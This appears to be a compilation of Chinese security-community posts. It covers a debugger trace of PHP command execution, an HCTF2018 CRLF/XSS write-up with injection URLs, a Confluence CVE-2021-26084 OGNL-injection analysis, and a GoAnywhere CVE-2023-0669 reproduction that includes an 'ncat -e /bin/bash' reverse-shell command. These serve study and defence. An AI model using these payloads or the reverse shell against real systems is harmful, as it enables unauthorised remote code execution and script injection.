237 if (Z_TYPE_P(ret_array) != IS_ARRAY) {
238 zval_ptr_dtor(ret_array);
239 array_init(ret_array);
240 } else if (Z_REFCOUNT_P(ret_array) > 1) {
241 zval_ptr_dtor(ret_array);
242 ZVAL_ARR(ret_array, zend_array_dup(Z_ARR_P(ret_array)));
243 }
244 ret = php_exec(2, cmd, ret_array, return_value);
245 }
246 if (ret_code) {
247 zval_ptr_dtor(ret_code);
248 ZVAL_LONG(ret_code, ret);
pwndbg>
单步调试至`php_exec()`函数
pwndbg> n
打印有关参数的值
pwndbg> p mode
$3 = 1
pwndbg> p cmd
$4 = 0x7ffff7a6eb98 "whoami"
pwndbg>
进入`php_exec()`函数实现
pwndbg> s
查看源码信息
pwndbg> l
96 */
97 PHPAPI int php_exec(int type, char *cmd, zval *array, zval *return_value)
98 {
99 FILE *fp;
100 char *buf;
101 size_t l = 0;
102 int pclose_return;
103 char *b, *d=NULL;
104 php_stream *stream;
105 size_t buflen, bufl = 0;
pwndbg> l
106 #if PHP_SIGCHILD
107 void (*sig_handler)() = NULL;
108 #endif
109
110 #if PHP_SIGCHILD
111 sig_handler = signal (SIGCHLD, SIG_DFL);
112 #endif
113
114 #ifdef PHP_WIN32
115 fp = VCWD_POPEN(cmd, "rb");
pwndbg>
116 #else
117 fp = VCWD_POPEN(cmd, "r");
118 #endif
119 if (!fp) {
120 php_error_docref(NULL, E_WARNING, "Unable to fork [%s]", cmd);
121 goto err;
122 }
123
124 stream = php_stream_fopen_from_pipe(fp, "rb");
125
pwndbg>
结合源码及汇编代码，可知`VCWD_POPEN(cmd, "r");`函数实现为`popen[@plt](https://github.com/plt
"@plt") <popen[@plt](https://github.com/plt "@plt")>`，即glibc库函数`popen()`
单步调试汇编至call调用处
pwndbg> si
进入call函数调用体：`popen[@plt](https://github.com/plt "@plt")
<popen[@plt](https://github.com/plt "@plt")>`
pwndbg> si
pwndbg> s
glibc中`popen()`函数的实现即调用`_IO_new_popen()`函数
查看`_IO_new_popen()`函数源码
pwndbg> l
226 _IO_lock_t lock;
227 #endif
228 } *new_f;
229 FILE *fp;
230
231 new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
232 if (new_f == NULL)
233 return NULL;
234 #ifdef _IO_MTSAFE_IO
235 new_f->fpx.file.file._lock = &new_f->lock;
pwndbg> l
236 #endif
237 fp = &new_f->fpx.file.file;
238 _IO_init_internal (fp, 0);
239 _IO_JUMPS (&new_f->fpx.file) = &_IO_proc_jumps;
240 _IO_new_file_init_internal (&new_f->fpx.file);
241 if (_IO_new_proc_open (fp, command, mode) != NULL)
242 return (FILE *) &new_f->fpx.file;
243 _IO_un_link (&new_f->fpx.file);
244 free (new_f);
245 return NULL;
pwndbg>
观察`_IO_new_popen()`函数，末尾会调用`_IO_new_proc_open()`函数来执行处理系统指令，可对`_IO_new_proc_open()`函数下断点，然后运行进入`_IO_new_proc_open()`函数的实现。
pwndbg> b _IO_new_proc_open
Breakpoint 2 at 0x7ffff7d010f0: file iopopen.c, line 110.
pwndbg>
继续单步调试，`_IO_new_proc_open()`函数会调用`spawn_process()`函数
pwndbg> l
195 _IO_lock_lock (proc_file_chain_lock);
196 #endif
197 spawn_ok = spawn_process (&fa, fp, command, do_cloexec, pipe_fds,
198 parent_end, child_end, child_pipe_fd);
199 #ifdef _IO_MTSAFE_IO
200 _IO_lock_unlock (proc_file_chain_lock);
201 _IO_cleanup_region_end (0);
202 #endif
203
204 __posix_spawn_file_actions_destroy (&fa);
pwndbg>
单步调试进入`spawn_process()`函数实现
`spawn_process()`函数会调用`__posix_spawn()`函数
pwndbg> l
81 child_pipe_fd, it has been already closed by the adddup2 action
82 above. */
83 if (fd != child_pipe_fd
84 && __posix_spawn_file_actions_addclose (fa, fd) != 0)
85 return false;
86 }
87
88 if (__posix_spawn (&((_IO_proc_file *) fp)->pid, _PATH_BSHELL, fa, 0,
89 (char *const[]){ (char*) "sh", (char*) "-c",
90 (char *) command, NULL }, __environ) != 0)
pwndbg>
单步汇编调试至`__posix_spawn()`函数调用处
pwndbg> si
可以看到`__posix_spawn()`函数被传入的参数：`sh -c
command`，可以判断php命令执行函数，底层会调用`sh`来执行系统指令，进入`__posix_spawn()`函数实现
pwndbg> si
`__posix_spawn()`函数实现直接调用的`__spawni()`函数，单步步入调试进入`__spawni()`函数
pwndbg> s
`__spawni()`函数实现调用`__spawnix()`函数，单步步入调试进入`__spawnix()`函数
`__spawnix()`函数的核心代码：克隆父进程，为后续`/bin/sh`子进程的创建做准备
pwndbg> l
382 new_pid = CLONE (__spawni_child, STACK (stack, stack_size), stack_size,
383 CLONE_VM | CLONE_VFORK | SIGCHLD, &args);
384
385 /* It needs to collect the case where the auxiliary process was created
386 but failed to execute the file (due either any preparation step or
387 for execve itself). */
388 if (new_pid > 0)
389 {
390 /* Also, it handles the unlikely case where the auxiliary process was
391 terminated before calling execve as if it was successfully. The
pwndbg>
在`CLONE()`函数处下断点，并进入`CLONE()`函数的实现：函数的实现为汇编代码
对`clone()`函数汇编代码进行单步汇编调试：`clone()`函数是一个系统调用函数，内核入口为`sys_clone()`，调用号为`0x38`
继续单步汇编步入，执行系统调用
pwndbg> si
[Attaching after process 48284 vfork to child process 48289]
[New inferior 2 (process 48289)]
[Switching to process 48289]
clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:79
79 jl SYSCALL_ERROR_LABEL
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS ]─────────
RAX 0x0
RBX 0x4
RCX 0x7ffff7d88d81 (clone+49) ◂— test rax, rax
RDX 0xffffffff
RDI 0x4111
RSI 0x7ffff7c14ff0 —▸ 0x7ffff7d789d0 (__spawni_child) ◂— push rbp
R8 0x0
R9 0x0
R10 0x7ffff7e15156 ◂— 0x68732f6e69622f /* '/bin/sh' */
R11 0x306
R12 0x7ffff7c0c000 ◂— 0x0
R13 0x7fffffffc480 —▸ 0x7ffff7e1515b ◂— 0x2074697865006873 /* 'sh' */
R14 0x7fffffffc190 ◂— 0x0
R15 0x7ffff7d56660 (execve) ◂— mov eax, 0x3b
RBP 0x9000
RSP 0x7ffff7c14ff0 —▸ 0x7ffff7d789d0 (__spawni_child) ◂— push rbp
RIP 0x7ffff7d88d84 (clone+52) ◂— jl 0x7ffff7d88d99
─────────────────────────────────────────────────[ DISASM ]───────────────────────────
0x7ffff7d88d72 <clone+34> mov r8, r9
0x7ffff7d88d75 <clone+37> mov r10, qword ptr [rsp + 8]
0x7ffff7d88d7a <clone+42> mov eax, 0x38
0x7ffff7d88d7f <clone+47> syscall
0x7ffff7d88d81 <clone+49> test rax, rax
► 0x7ffff7d88d84 <clone+52> jl clone+73 <clone+73>
0x7ffff7d88d86 <clone+54> je clone+57 <clone+57>
↓
0x7ffff7d88d89 <clone+57> xor ebp, ebp
0x7ffff7d88d8b <clone+59> pop rax
0x7ffff7d88d8c <clone+60> pop rdi
0x7ffff7d88d8d <clone+61> call rax
──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────
In file: /mnt/hgfs/QSec/Code-Audit/glibc/glibc-2.31/sysdeps/unix/sysv/linux/x86_64/clone.S
74 wrong. */
75 cfi_endproc;
76 syscall
77
78 testq %rax,%rax
► 79 jl SYSCALL_ERROR_LABEL
80 jz L(thread_start)
81
82 ret
83
84 L(thread_start):
clone函数作用，创建子进程：克隆父进程
接着clone函数内部会调用`__spawni_child()`函数，将克隆的子进程给真正起起来
单步汇编步入`__spawni_child`函数实现
`__spawni_child`函数内部会动态调用`execve()`函数，最终来将子进程给启动起来
步入`execve()`函数的实现：函数实现为汇编代码`sysdeps/unix/syscall-template.S`。`execve()`函数为系统调用函数，内核入口为`sys_execve()`，系统调用号为`0x3b`
这里如果继续单步汇编步入，就会导致执行`execve()`函数系统调用，成功创建子进程，同时GDB调试就会完成，输出程序的执行结果。因为，这里并没有捕捉创建子进程这一事件，无法对创建的子进程进行调试，从而导致程序的执行完毕。
为了避免这一结果发生，我们可以在`execve()`函数系统调用前，设置捕捉点用来补捉程序运行时的一些事件：这里捕捉系统调用事件`execve`
pwndbg> catch syscall execve
捕捉点设置完毕后，就可以步入执行`execve()`函数系统调用，查看此时的所有进程的栈调用情况
执行`execve()`函数系统调用：成功创建子进程`/bin/sh->/bin/dash`
此时GDB调试已进入`/bin/sh`进程中
后续工作执行未执行完的`sh -c
Command`，在`/bin/sh`进程中执行`Command`指令（内部|外部），外部指令则会在`/bin/sh`进程下启动相应的子进程。
最后，这里也可以通过Linux下`strace`工具来追踪PHP命令执行函数的底层调用执行情况：
* PHP命令执行函数底层系统调用函数统计
└─# strace -f -c ./php -r "system('whoami');"
strace: Process 48432 attached
strace: Process 48433 attached
root
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ---------------- 0.00 0.000000 0 14 read
0.00 0.000000 0 2 write
0.00 0.000000 0 23 close
0.00 0.000000 0 7 4 stat
0.00 0.000000 0 24 fstat
0.00 0.000000 0 10 lstat
0.00 0.000000 0 5 3 lseek
0.00 0.000000 0 49 mmap
0.00 0.000000 0 17 mprotect
0.00 0.000000 0 12 munmap
0.00 0.000000 0 14 brk
0.00 0.000000 0 206 rt_sigaction
0.00 0.000000 0 5 rt_sigprocmask
0.00 0.000000 0 1 rt_sigreturn
0.00 0.000000 0 4 3 access
0.00 0.000000 0 1 madvise
0.00 0.000000 0 1 dup2
0.00 0.000000 0 1 getpid
0.00 0.000000 0 2 socket
0.00 0.000000 0 2 2 connect
0.00 0.000000 0 2 clone
0.00 0.000000 0 3 execve
0.00 0.000000 0 2 wait4
0.00 0.000000 0 1 fcntl
0.00 0.000000 0 2 getcwd
0.00 0.000000 0 1 getuid
0.00 0.000000 0 1 getgid
0.00 0.000000 0 3 geteuid
0.00 0.000000 0 1 getegid
0.00 0.000000 0 1 getppid
0.00 0.000000 0 3 arch_prctl
0.00 0.000000 0 20 4 openat
0.00 0.000000 0 1 pipe2
0.00 0.000000 0 3 prlimit64
------ ----------- ----------- --------- --------- ---------------- 100.00 0.000000 444 16 total
└─#
* PHP命令执行函数底层创建进程情况
└─# strace -f -e execve php -r "system('whoami');"
execve("/usr/bin/php", ["php", "-r", "system('whoami');"], 0x7ffe259e22c8 /* 53 vars */) = 0
strace: Process 48440 attached
[pid 48440] execve("/bin/sh", ["sh", "-c", "whoami"], 0x56260233beb0 /* 53 vars */) = 0
strace: Process 48441 attached
[pid 48441] execve("/usr/bin/whoami", ["whoami"], 0x563b845c2ed8 /* 53 vars */) = 0
root
[pid 48441] +++ exited with 0 +++
[pid 48440] --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=48441, si_uid=0, si_status=0, si_utime=0, si_stime=0} --- [pid 48440] +++ exited with 0 +++
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=48440, si_uid=0, si_status=0, si_utime=0, si_stime=0} --- +++ exited with 0 +++
## 总结
该系列文章主要是讲述不同平台下PHP语言命令执行函数的底层实现与分析。而有关其它语言(Python、Java等)这里不在讲述分析，因为针对不同语言的分析思路都是一样的，归结到系统底层调用：大差不差（PHP和Python底层调用原理类似；Java与PHP和Python相比，少了一步系统可执行终端调用）。
## 参考链接
* [Build your own PHP on Windows](https://wiki.php.net/internals/windows/stepbystepbuild_sdk_2)
* [Visual Studio docs](https://visualstudio.microsoft.com/zh-hans/vs/)
* [Visual Studio Code docs](https://code.visualstudio.com/docs)
* [《PHP 7底层设计与源码实现+PHP7内核剖析》](https://item.jd.com/28435383700.html)
* [深入理解 PHP 内核](https://www.bookstack.cn/books/php-internals)
* [WINDOWS下用VSCODE调试PHP7源代码](https://www.jianshu.com/p/29bc0443b586)
* [调式PHP源码](https://gywbd.github.io/posts/2016/2/debug-php-source-code.html)
* [用vscode调试php源码](https://blog.csdn.net/Dont_talk/article/details/107719466)
* [GDB: The GNU Project Debugger](http://www.gnu.org/software/gdb)
* [CreateProcessW function](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw)
* [命令注入成因小谈](https://xz.aliyun.com/t/6542)
* [浅谈从PHP内核层面防范PHP WebShell](https://paper.seebug.org/papers/old_sebug_paper/pst_WebZine/pst_WebZine_0x05/0x07_%E6%B5%85%E8%B0%88%E4%BB%8EPHP%E5%86%85%E6%A0%B8%E5%B1%82%E9%9D%A2%E9%98%B2%E8%8C%83PHP_WebShell.html)
* [Program execution Functions](https://www.php.net/manual/en/ref.exec.php)
* [linux系统调用](http://huhaipeng.top/2019/04/20/linux%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/)
* [system calls](https://fedora.juszkiewicz.com.pl/syscalls.html) | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室
时间：2018年11月14日**
HCTF2018在出题的时候其实准备了一个特别好的web题目思路，可惜赛前智能合约花了太多时间和精力，没办法只能放弃了之前的web题，在运维比赛的过程中，我发现学弟出的一些题目其实很有意思值得思考。
### bottle
bottle是小学弟@luo00出的题目，源码如下 <https://github.com/Lou00/HCTF2018_Bottle>
整个站几乎只有一个功能就是有一个可控的任意跳转，然后根据题目功能可以判断是一道xss题目。其实技巧挺明确的，就是比较冷门，我第一次见是阿里先知的xss挑战赛。
<https://lorexxar.cn/2017/08/31/xss-ali/#05%E8%B7%B3%E8%BD%AC>
然后本题的思路主要来自于ph师傅的一篇分析 <https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html>
首先这个问题有意思的点在于挺多的，在原本的环境下，bottle有个特殊的鬼畜特性在于，他的header顺序是会变得...
首先我们需要明白一个问题， **在流量中，body和header是在一起的，在header的两个换行后内容会被自动识别为body** 。
所以在`bottle.redirect(path)`中存在location头注入，我们就可以通过传入两个换行来吧header挤到body中，这样就可以控制页面的返回了
150.109.53.69:/path?path=//150.109.53.69:0%2f%0D%0A%0D%0Atest
正常来说，直接注入script就可以了
http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<html><head><script>alert`1`</script>
原文中说 **当端口小于80，firefox就会卡住，但我实际测试只有0端口会卡住，可能我环境不同** 。
这就是题目的原解，这里虽然加入了CSP，但其实没区别，由于bottle头随机的问题，当CSP随机到location下面时，就可以注入js了，但这样就成了一个随机的题目了，学弟想让别人注意到bottle特性而不是随便撞到，这里就设置了脚本定时重启，然后让头更随机一点儿。
攻击者需要意识到这个问题然后不断提交才可以攻击成功，但可惜这种攻击方式就随机了，失去了ctf本身的乐趣，变得太无趣了。
\-----------下面开始脑洞时间，实际没有作用，不想看可以跳过----------------------
#### 尝试
仔细思考了一下逻辑我开始想办法改进这题。当然，改进题目的基础必然是想办法减少随机性，所以一些讨论的基础都在于CSP头稳定在location之上。
其实可以发现，CSP特别简单，最简单的self CSP
response.add_header('Content-Security-Policy',"default-src 'self'; script-src 'self'")
self CSP最大的问题在于如果能找到一个self源内容可控的，那CSP就可以被绕过了。
然后我发现，这个漏洞不是刚好就是可以控制页面内容吗，于是一个漏洞利用链想到了
构造一个CLRF控制内容注入alert，然后构造CLRF，然后构造第二个CLRF注入script，然后src引入前面的链接。
听起来非常完美的利用链。这其中也有几个小坑。
首先构造一个alert
http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0Aalert%60%31%60%3b
这里想到现代浏览器对content-type可能有要求，所以 **直接头注入设置content-type为text/javascript**
http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert`1`
然后尝试引入这个链接，然后需要注意 **二次urlencode** ，不然%0a%0d都会解开
http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0A%0D%0A<html><head><script/src=%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%33%30%30%30%2f%70%61%74%68%3f%70%61%74%68%3d%68%74%74%70%3a%2f%2f%31%35%30%2e%31%30%39%2e%35%33%2e%36%39%3a%30%25%32%66%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%61%2b%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%25%33%62%2b%63%68%61%72%73%65%74%25%33%64%55%54%46%2d%38%25%30%44%25%30%41%25%30%44%25%30%41%61%6c%65%72%74%60%31%60></script>
看上去很有道理，然后访问...然后失败...Orz，被CSP ban了
仔细回想上面的流程，其实有个很重要的问题没有注意到，这个问题我也是第一次重视到。
**CSP和cookie的同源策略一样，不但对ip做限制，对端口也有限制。最过分的是，CSP在location头存在的时候，会跟入判断location**
也就意味着，我们试图引入`http://150.109.53.69:3000/path?path=http://150.109.53.69:0%2f%0D%0AContent-Type%3a+text/javascript%3b+charset%3dUTF-8%0D%0A%0D%0Aalert`作为目标js引入，会被认为引入`http://150.109.53.69:0`这个来源的js，端口为0，self的端口为3000，所以被拦截了。
而且值得注意的是，这里如果把CSP改为
response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69")
CSP中如果不设置端口，默认会认为是80端口。同样没办法绕过。
经过了一番研究我发现这个端口判定没有别的解决办法，如果不用跳0的办法，正常的302是会跟随跳转过去的。
无奈我修改题目把CSP改成了
response.add_header('Content-Security-Policy',"default-src 'self'; script-src 150.109.53.69:*")
然后我开始继续上面的测试，果然，仍然失败了......这次报错不一样了，阻拦加载的并不是CSP。
firefox的控制台显示script加载失败，仔细研究了一番突然意识到一个事情，是不是 **浏览器的不加载非200的静态资源** 。
于是我用flask简单写了一段代码测试了一下
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'alert(1);', 303
if __name__ == '__main__':
app.run()
事实证明的确是这样的，浏览器在这块的安全性已经做的非常好了，这种奇怪的操作完全不成立...
思考到最后，我忽然又意识到了一个问题，假设我把跳转那个页面生生改成200，然后去加载，有一个致命的利用问题。
模拟出来的页面内容是这样的
alert`1`;
xxxxxheader: xxxx
我没办法改变下面的内容，而 **js虽然是逐行渲染的，但遇到报错之后整块script都会阻止，不再继续加载了**
，然后我就又回到了最初的问题，我必须保证locaion是最后一行header才行...我违背了最初想要去除随机性的目的...
最后没办法，还是将题目改回原样了，这里的思考过程挺有意思的，分享给大家，也感谢在试验过程中@Math1as给我出了很多主意。
### game
game这道题是我的另一个小学弟@undifined出的题目，后来听他说起这个思路我觉得蛮有意思的，这里出成题目用了明文密码入库虽说是比较强行，但其实用来注其他信息还是不难的，是个很有趣的想法。
第一次见到这种思路是在pwnhub上
<https://pwnhub.cn/questiondetail?id=3>
这题目当时是上传文件，然后后端展示的时候会有排序，通过不断上传就可以得到目标文件名字。
这里也是一样，这里是一个近似于逻辑漏洞，站内只有两个功能:
1. 打游戏获得积分
2. 排行榜，可以根据不同的字段排行
排行榜的数据都是实时的，而且整个部分没有任何的注入点，完全不能SQL注入，但由于可以根据不同的字段排行，所以order
by后面的字段名可控，除了常规的id, username, sex,
score以外，也可以更具password来排行，再加上数据库中密码是明文存取的（不是明文也可以，只是获得的是hash）
知道了原理，我们就可以通过不断插入新的账号来逼近目标字符串，因为数据库排序和前面说的linux文件名排序是一样的，很有趣。
ac > adf > ad
想明白就可以直接写脚本跑起来
* * * | 社区文章 |
# CVE-2021-26084：Confluence Webwork Ognl表达式注入漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本文主要讲述了在复现以及分析CVE-2021-26084过程的遇到的一些疑惑。其次，本文对该漏洞进行了一个相对完整的漏洞链的分析。由于笔者初次分析Confluence的漏洞，难免有所不足，恳请各位看官老爷斧正。
Confluence是一个团队协作软件，用于知识分享(WIKI)和团队协作。Confluence将工作的环境称为空间，比如为每个项目创建一个空间，设置用户权限，通过pages添加wiki、想法、事件等等。[^1]
该漏洞有多个触发点，但不需要授权的触发点位于：`pages/createpage-entervariables.vm`，本文将围绕该触发点进行分析。[^2]
## 0x01 环境搭建
本次漏洞分析采用了docker环境Confluence
7.12.4版本。如有需求，请移步：[搭建教程](https://www.youncyb.cn/?p=717)。
## 0x02 Ognl表达式注入分析
从补丁文件：[cve-2021-26084-update.sh](https://confluence.atlassian.com/doc/files/1077906215/1077916296/2/1629936383093/cve-2021-26084-update.sh)发现本次补丁只是针对5个`.vm`结尾的模板文件做了字符串替换，并没对代码逻辑进行更改。具体细节如下：
1. 修改`confluence/users/user-dark-features.vm`
value='$!action.featureKey' => value=featureKey
7.12.4版本已经对该文件进行了更改
2. 修改`confluence/login.vm`
value='$!action.token' => value=token
7.12.4版本已经对该文件进行了更改
3. 修改`confluence/pages/createpage-entervariables.vm`
value='$!querystring' => value=querystring
value='$linkCreation' => value=linkCreation
4. 修改`confluence/template/custom/content-editor.vm`对多个input标签进行了value的替换，主要是将value中的$去掉
"Hidden" "name='linkCreation'" "value='$isLinkCreation'" => "Hidden" "name='linkCreation'" "value=isLinkCreation"
5. 修改JAR文件的中`templates/editor-preload-container.vm`
value='$!{action.syncRev}' => value=syncRev
综合上述5处改动，1和2不存在于7.12.4版本，3和4触发点的input标签相同，但4和5需要授权。所以此处对3号触发点进行分析，3号触发点的input标签如下：
<form name="filltemplateform" method="POST" action="doenterpagevariables.action">
#form_xsrfToken()
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
#tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
#tag ("Hidden" "name='title'" "value=title")
#tag ("Hidden" "name='parentPageId'" "value=parentPageId")
#tag ("Hidden" "name='fromPageId'" "value=fromPageId")
#tag ("Hidden" "name='spaceKey'" "value=spaceKey")
结合github上的分析文章[^3]，出漏洞的点在于queryString、linkCreation。观察这6个标签，我产生了如下问题：
* 为什么queryString可以触发而title触发不了，即$符号扮演的角色？
* pageTemplate.id也有$符号，为什么它不是漏洞触发点？
* 如何绕过单引号限制？
带着这3个问题，我开始深入的分析该漏洞。首先，分析整个漏洞的触发过程，由于漏洞是由Ognl表达式注入造成，所以可以先对含有`Ognl.getValue`的代码下断点，对`WEB-INF/lib`进行反编译后，我找到了如下3个地方：
`com/opensymphony/xwork/util/OgnlUtil.java#copy()`
图1
`com/opensymphony/webwork/views/jsp/ui/OgnlTool.java#findValue()`
图2
`com/opensymphony/xwork/util/OgnlValueStack.java`
图3
对这几个点打上断点后，我开始调试Confluence，经过测试发现触发断点的代码在`com/opensymphony/xwork/util/OgnlValueStack.java`
图4 Burpsuite 发包
图6 ognlValueStack
为了理清整个输入的处理过程，需要从上游开始分析，如图7所示，左侧可以发现此处要进入WebWork的对`doenterpagevariables`action进行处理。
图7
跟进处理函数，来到`Velocity`模板处理类，如图8所示，首先会通过`getTemplate`加载finalLocation指定的模板，然后通过处理context，将结果写入writer。
图8 Velocity模板处理
来到`Template`类的处理逻辑，通过将模板生成的语法树转化为`SimpleNode`节点进行处理。从图9
右侧的变量区可以看到模板一共生成了8个子树，input标签位于7号子树，如图10 所示。
图9 处理AST语法树
图10 7号子树
如图11所示，最终会通过`AbstractTagDirective`类对标签进行处理。如图12所示，`processTag`函数通过`doEndTag`函数调用`evaluateParams`从`OgnlValueStack`中获取相关变量的值，如`name=queryString`。
图11 processTag 处理标签
图12 获取queryString的值
`evaluateParams`函数需要关注两个地方，第一是通过nameAttr计算name。即把`'queryString'`变成`name=queryString`
图13 计算name
重点关注第二处，即`value=xxx`的计算，如图14所示。
图14 计算value
进入`findValue`函数，在图15中可以看到在真正的去计算Ognl表达式前，会调用静态方法`SafeExpressionUtil.isSafeExpression`对编译后的结果进行安全检查。一共包括四个方面：
1. 第一个hashset限制了构造函数的关键字：new，静态方法调用：@符号
2. 第二个和第三个hashset限制了获取classloader，如：xxx.class或者xxx.getClass()
3. 第四个hashset限制了编译后的结果中不能出现特定的变量
这里绕过方式可以使用数组进行绕过，如：`""["class"].forName`[^4]
图15 黑名单检查
`findvalue`通过`OgnlValueStack#findValue`实现了对表达式的计算，如图16所示，OgnlUtil会正确的识别`\u0027`为`'`，将表达式变成一个完整Ognl表达式，最终调用`Ognl.getValue`计算表达式。
图16
## 0x03 疑问解答
### 1\. 单引号的处理逻辑
先说答案：
**处理tag时会从OgnlValueStack中根据nameattr和valueAttr取值并计算，这两个属性通过applyAttributes设置，applyAttributes用Ognl在初始的context上下文中获取到parameters提交的值，经过`ConfluenceHtmlEntityEncodingPolicy`HTML实体编码类处理。所以`'`会被实体编码，但由于Ognl表达式可以正常处理unicode编码的单引号`\u0027`，所以可以用unicode编码替代。**
0x02中分析了一个完整的触发流程，但需要注意的是该payload中利用了unicode编码：`'`=>`\u0027`。那么为什么`'`不行呢？看到上文的`processTag`部分，如图17所示，`processTag`需要的参数通过object传入。
图17
将输入改为：`queryString=aaa'%2b#{2*1}%2b\u0027bbb`。跟进`applyAttributes`函数，该函数用`createPropertyMap`创建一个MAP对象用于接下来的属性设置，`createPropertyMap`主要调用`putProperty`函数，其主要逻辑位于`node.value`函数。
图18 创建MAP对象
经过跳转会进入`ASTReference`的处理逻辑，首先通过`execute`方法从上下文中取值(这里实际上也是用OgnlValueStack的findValue来做)。此函数先不做分析，继续来到`EventHandlerUtil.referenceInsert(this.rsvc,
context, this.literal(), value)`，该函数中会用HTML实体编码处理单引号，如图19和图20所示。
图19 ASTReference
图20
### 2\. $符号作用
在1中讲到：
>
> `applyAttributes`函数用`createPropertyMap`创建一个MAP对象用于接下来的属性设置，`createPropertyMap`主要调用`putProperty`函数，其主要逻辑位于`node.value`函数。
为了知道有无`$`符号的区别，需要知道node.value具体取值的逻辑。该函数根据节点树的属性：`interpolate`判断是否该通过Ognl进行计算，如图21所示，此时计算的是queryString的值，queryString的标签为：`#tag
("Hidden" "name='queryString'"
"value='$!queryString'")`，带有`$`符号，其interpolate属性为true，会通过Ognl计算。
那么title如何呢？
图 21 取值逻辑
title由于没有设置`$`，被当成字符串。所以只会原原本本的返回`value=title`，而最终通过OgnlValueStack进行计算的也只是`expr="title"`，如图22所示。
图22 title
### 3\. pageTemplate.id也有$符号，为什么它不是漏洞触发点？
为了弄清$pageTemplate.id没触发的原因，将输入改为：`templatePage=aaa\u0027%2b#{2*1}%2b\u0027bbb`，在rootString为`pageTemplate`时截断，如图23所示。此时获取到的值已经为null，证明OgnlValueStack中存放的值也是null，pageTemplate的值在这之前已经被设置为null。当value为null时，会使用nullString替代，如图24所示。
图23
图24
既然之前就已经设置了OgnlValueStack中pageTemplate的值，则需要对OgnlValueStack中setValue函数下断点，如图25所示。
图25
经过多次跳转，来到图26所示，通过`OgnlRuntime.hasSetProperty`函数判断是否该设置属性。
图26 判断方法设置属性的方法是否存在
跟进该函数后，该函数通过`getClass`方法获取了`PageVariablesAction`类。然后判断其是否有setxxx的方法，如：queryString=>setqueryString()。如图27所示。而`PageVariablesAction`类及其继承的父类都不存在`setpageTemplate`方法，所以pageTemplate只能为null。
图27 判断属性设置方法是否存在
## 参考
[^1]: [Confluence ](https://debugtalk.com/post/confluence-simple-tutorial/)
[^2]: [Confluence Security Advisory –
2021-08-25](https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html)
[^3]: [CVE-2021-26084 Remote Code Execution on Confluence
Servers](https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md)
[^4]: [EL blacklist bypass leads to RCE](https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) | 社区文章 |
# CVE-2023-0669 GoAnywhereMFT反序列化漏洞复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
LONDON, ENGLAND – AUGUST 09: In this photo illustration, A woman is
silhouetted against a projection of a password log-in dialog box on August 09,
2017 in London, England. With so many areas of modern life requiring identity
verification, online security remains a constant concern, especially following
the recent spate of global hacks. (Photo by Leon Neal/Getty Images)
## 免责声明
文中提到的所有技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途，否则产生的一切后果自行承担，与本文作者无关！
## GoAnywhereMFT
GoAnywhereMFT是一个管理文件传输的解决方案，它简化了系统、员工、客户和贸易伙伴之间的数据交换。它通过广泛的安全设置、详细的审计跟踪提供集中控制，并帮助将文件中的信息处理为XML、EDI、CSV和JSON数据库。
## CVE-2023-0669
GoAnywhereMFT管理端存在反序列化漏洞，攻击者利用该漏洞无需登录便可以远程执行任意命令。漏洞被追踪为CVE-2023-0669。
## 影响范围
GoAnywhereMFT小于7.1.2版本
## 漏洞复现
工具使用说明：
本地java版本：
使用命令反弹shell：
`java -jar CVE-2023-0669.jar -p http://127.0.0.1:8080 -t http://x.x.x.x/ -c
"ncat -e /bin/bash yourvps yourport"`
> 注意：-p 代理 不可不指定，否则会报错，将流量转到burp即可
burp数据包：
工具下载地址：公众号回复CVE-2023-0669获取
## 漏洞修复
更新到7.1.2版本。 | 社区文章 |
# 【技术分享】绕过三星的实时内核保护
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero.blogspot.tw
原文地址：<https://googleprojectzero.blogspot.tw/2017/02/lifting-hyper-visor-bypassing-samsungs.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[牧野之鹰](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
传统上，操作系统的内核是位于攻击者和对目标系统的完全控制之间的最后一个安全边界。 因此，必须额外注意以确保内核的完整性。
首先，当系统引导时，必须验证其关键组件（包括操作系统内核的关键组件）的完整性。 这是通过验证的启动链在Android上实现的。
然而，简单地引导已验证的内核是不够的 – 在系统执行时如何维护内核的完整性？
想象一下，攻击者能够在操作系统的内核中找到并利用漏洞的情况。
